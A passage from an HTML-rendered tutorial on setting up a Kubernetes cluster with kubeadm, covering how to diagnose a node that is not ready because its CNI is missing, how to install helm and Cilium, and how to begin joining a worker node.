kube-proxy\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e 4\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e 344c4f7fffbe8\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e kube-proxy-drm46\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e30ce27c40adb2\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e 81a4a8a4ac639\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e 2\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e minutes\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e ago\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e Exited\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e kube-controller-manager\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e 4\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e 3a819c3a864b2\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e kube-controller-manager-controlplane\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e7709fd5e92898\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e bd8cc6d582470\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e 2\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e minutes\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e ago\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e Exited\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e kube-proxy\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e 3\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e 7cc6922c82015\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e kube-proxy-drm46\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e10432b81d7c61\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e 3767741e7fba7\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e 2\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e minutes\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e ago\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e Exited\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e kube-apiserver\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e 4\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e e64ddf3679d98\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e kube-apiserver-controlplane\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/figure\u003e\n\u003cp\u003ewhich will show you pods that have exited. You can grab the container ID for\nkube-apiserver and read its logs:\u003c/p\u003e\n\u003cfigure data-rehype-pretty-code-figure=\"\"\u003e\u003cpre style=\"background-color:#22272e;color:#adbac7\" tabindex=\"0\" data-language=\"bash\" data-theme=\"github-dark-dimmed\"\u003e\u003ccode data-language=\"bash\" data-theme=\"github-dark-dimmed\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e sudo\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e crictl\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e --runtime-endpoint=unix:///var/run/containerd/containerd.sock\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e logs\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e 10432b81d7c61\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/figure\u003e\n\u003cp\u003eThere are a few ways to figure out why the node is not ready yet. Usually I would check the\n\u003ccode\u003ekubelet\u003c/code\u003e logs first:\u003c/p\u003e\n\u003cfigure data-rehype-pretty-code-figure=\"\"\u003e\u003cpre style=\"background-color:#22272e;color:#adbac7\" tabindex=\"0\" data-language=\"bash\" data-theme=\"github-dark-dimmed\"\u003e\u003ccode data-language=\"bash\" data-theme=\"github-dark-dimmed\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e sudo\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e journalctl\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e -flu\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e kubelet\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e--\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e Logs\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e begin\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e at\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e Sun\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e 2022-04-17\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e 19:22:19\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e AST.\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e --\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003eApr\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e 17\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e 20:53:15\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e controlplane\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e kubelet[19727]:\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e E0417\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e 20:53:15.951350\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e 19727\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e kubelet.go:2347]\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"Container runtime network not ready\"\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e networkReady=\"NetworkReady=false reason:NetworkPluginNotReady message:Network plugin returns error: cni plugin not initialized\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003eApr\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e 17\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e 20:53:20\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e controlplane\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e kubelet[19727]:\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e E0417\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e 20:53:20.952148\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e 19727\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e kubelet.go:2347]\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"Container runtime network not ready\"\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e networkReady=\"NetworkReady=false reason:NetworkPluginNotReady message:Network plugin returns error: cni plugin not initialized\"\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/figure\u003e\n\u003cp\u003eIt is clear the problem is that we are missing the CNI. The other way you can find out what is\ngoing on is describing the node:\u003c/p\u003e\n\u003cfigure data-rehype-pretty-code-figure=\"\"\u003e\u003cpre style=\"background-color:#22272e;color:#adbac7\" tabindex=\"0\" data-language=\"bash\" data-theme=\"github-dark-dimmed\"\u003e\u003ccode data-language=\"bash\" data-theme=\"github-dark-dimmed\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e kubectl\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e describe\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e node\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e controlplane\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/figure\u003e\n\u003cp\u003eThis will have a lot of information but if you scroll through there looking at \u003ccode\u003eReason\u003c/code\u003e you\nmight see something useful. In this case under \u003ccode\u003eLease\u003c/code\u003e you would see:\u003c/p\u003e\n\u003cfigure data-rehype-pretty-code-figure=\"\"\u003e\u003cpre style=\"background-color:#22272e;color:#adbac7\" tabindex=\"0\" data-language=\"bash\" data-theme=\"github-dark-dimmed\"\u003e\u003ccode data-language=\"bash\" data-theme=\"github-dark-dimmed\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e kubectl\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e describe\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e node\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e controlplane\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e|\u003c/span\u003e\u003cspan style=\"color:#F69D50\"\u003egrep\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e NotReady\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003eReady\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e False\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e Sun,\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e 17\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e Apr\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e 2022\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e 20:53:37\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e -0400\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e Sun,\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e 17\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e Apr\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e 2022\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e 20:43:07\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e -0400\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e KubeletNotReady\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e container\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e runtime\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e network\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e not\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e ready:\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e NetworkReady=\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003efalse\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e reason:NetworkPluginNotReady\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e message:Network\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e plugin\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e returns\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e error:\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e cni\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e plugin\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e not\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e initialize\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/figure\u003e\n\u003cp\u003eLet us get our CNI installed, we will be using cilium!\u003c/p\u003e\n\u003ch2\u003eSetting up your CNI!\u003c/h2\u003e\n\u003cp\u003eCilium has great documentation over \u003ca href=\"https://docs.cilium.io/en/v1.9/gettingstarted/k8s-install-kubeadm/\"\u003ehere\u003c/a\u003e,\nbut I will walk you through it anyways. I do recommend checking out their documentation so you\nare familiar with it. We will use \u003ccode\u003ehelm\u003c/code\u003e to pull down the version of cilium we want:\u003c/p\u003e\n\u003cfigure data-rehype-pretty-code-figure=\"\"\u003e\u003cpre style=\"background-color:#22272e;color:#adbac7\" tabindex=\"0\" data-language=\"bash\" data-theme=\"github-dark-dimmed\"\u003e\u003ccode data-language=\"bash\" data-theme=\"github-dark-dimmed\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e curl\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e -fsSL\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e https://baltocdn.com/helm/signing.asc\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e |\u003c/span\u003e\u003cspan style=\"color:#F69D50\"\u003e sudo\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e gpg\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e --dearmor\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e -o\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e /etc/apt/trusted.gpg.d/helm.gpg\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e sudo\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e apt-get\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e install\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e apt-transport-https\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e --yes\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e echo\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"deb https://baltocdn.com/helm/stable/debian/ all main\"\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e |\u003c/span\u003e\u003cspan style=\"color:#F69D50\"\u003e sudo\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e tee\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e /etc/apt/sources.list.d/helm-stable-debian.list\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e sudo\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e apt-get\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e update\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e sudo\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e apt-get\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e install\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e helm\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/figure\u003e\n\u003cp\u003eNow we can install cilium! It is \u003cem\u003every\u003c/em\u003e important that you pay attention to the\ncompatibility of cilium with the version of kubernetes you are installing. Check\nthe compatibility list \u003ca href=\"https://docs.cilium.io/en/v1.12/concepts/kubernetes/compatibility/\"\u003ehere\u003c/a\u003e.\u003c/p\u003e\n\u003cfigure data-rehype-pretty-code-figure=\"\"\u003e\u003cpre style=\"background-color:#22272e;color:#adbac7\" tabindex=\"0\" data-language=\"bash\" data-theme=\"github-dark-dimmed\"\u003e\u003ccode data-language=\"bash\" data-theme=\"github-dark-dimmed\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e helm\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e repo\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e add\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e cilium\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e https://helm.cilium.io/\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e helm\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e repo\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e update\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/figure\u003e\n\u003cp\u003eOnce the repo is added you can list the versions available:\u003c/p\u003e\n\u003cfigure data-rehype-pretty-code-figure=\"\"\u003e\u003cpre style=\"background-color:#22272e;color:#adbac7\" tabindex=\"0\" data-language=\"bash\" data-theme=\"github-dark-dimmed\"\u003e\u003ccode data-language=\"bash\" data-theme=\"github-dark-dimmed\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e helm\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e search\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e repo\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e -l\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e|\u003c/span\u003e\u003cspan style=\"color:#F69D50\"\u003ehead\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e -n8\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003eNAME\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \tCHART\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e VERSION\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e\tAPP\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e VERSION\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e\tDESCRIPTION\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003ecilium/cilium\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e \t1.12.1\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e \t1.12.1\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \teBPF-based\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e Networking,\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e Security,\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e and\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e Observability\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003ecilium/cilium\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e \t1.12.0\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e \t1.12.0\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \teBPF-based\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e Networking,\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e Security,\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e and\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e Observability\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003ecilium/cilium\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e \t1.11.8\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e \t1.11.8\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \teBPF-based\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e Networking,\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e Security,\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e and\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e Observability\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003ecilium/cilium\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e \t1.11.7\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e \t1.11.7\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \teBPF-based\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e Networking,\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e Security,\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e and\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e Observability\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003ecilium/cilium\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e \t1.11.6\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e \t1.11.6\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \teBPF-based\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e Networking,\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e Security,\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e and\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e Observability\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003ecilium/cilium\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e \t1.11.5\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e \t1.11.5\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \teBPF-based\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e Networking,\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e Security,\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e and\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e Observability\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003ecilium/cilium\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e \t1.11.4\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e \t1.11.4\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \teBPF-based\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e Networking,\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e Security,\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e and\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e Observability\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/figure\u003e\n\u003cp\u003eSo we want \u003ccode\u003e1.11.4\u003c/code\u003e:\u003c/p\u003e\n\u003cfigure data-rehype-pretty-code-figure=\"\"\u003e\u003cpre style=\"background-color:#22272e;color:#adbac7\" tabindex=\"0\" data-language=\"bash\" data-theme=\"github-dark-dimmed\"\u003e\u003ccode data-language=\"bash\" data-theme=\"github-dark-dimmed\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e helm\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e install\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e cilium\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e cilium/cilium\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e --namespace\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e kube-system\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e --version\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e 1.11.4\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/figure\u003e\n\u003cp\u003eNow our node should be ready!\u003c/p\u003e\n\u003cfigure data-rehype-pretty-code-figure=\"\"\u003e\u003cpre style=\"background-color:#22272e;color:#adbac7\" tabindex=\"0\" data-language=\"bash\" data-theme=\"github-dark-dimmed\"\u003e\u003ccode data-language=\"bash\" data-theme=\"github-dark-dimmed\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e kubectl\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e get\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e node\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003eNAME\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e STATUS\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e ROLES\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e AGE\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e VERSION\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003econtrolplane\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e Ready\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e control-plane,master\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e 24m\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e v1.23.5\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/figure\u003e\n\u003cp\u003eTime to join our worker to the cluster!\u003c/p\u003e\n\u003ch2\u003eJoining a worker to the cluster!\u003c/h2\u003e\n\u003cp\u003eWe have to go through the same steps as the controlplane to get the point that we have a\ncontainer runtime and \u003ccode\u003ekubeadm\u003c/code\u003e. I am not going to talk about the commands a second time but\nI will re-iterate them here for ease of following along.\u003c/p\u003e\n\u003cp\u003eFirst open up another shell and connect to the worker:\u003c/p\u003e\n\u003cfigure data-rehype-pretty-code-figure=\"\"\u003e\u003cpre style=\"background-color:#22272e;color:#adbac7\" tabindex=\"0\" data-language=\"bash\" data-theme=\"github-dark-dimmed\"\u003e\u003ccode data-language=\"bash\" data-theme=\"github-dark-dimmed\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e multipass\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e shell\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e worker\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/figure\u003e\n\u003cp\u003eNow run the following commands:\u003c/p\u003e\n\u003cfigure data-rehype-pretty-code-figure=\"\"\u003e\u003cpre style=\"background-color:#22272e;color:#adbac7\" tabindex=\"0\" data-language=\"bash\" data-theme=\"github-dark-dimmed\"\u003e\u003ccode data-language=\"bash\" data-theme=\"github-dark-dimmed\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e echo\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"deb http://apt.kubernetes.io/ kubernetes-xenial main\"\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e |\u003c/span\u003e\u003cspan style=\"color:#F69D50\"\u003e sudo\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e tee\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e /etc/apt/sources.list.d/kubernetes.list\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e curl\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e -fsSL\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e https://packages.cloud.google.com/apt/doc/apt-key.gpg\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e|\u003c/span\u003e\u003cspan style=\"color:#F69D50\"\u003esudo\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e gpg\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e --dearmor\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e -o\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e /etc/apt/trusted.gpg.d/k8s.gpg\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e❯\u003c/span\u003e\u003cspan 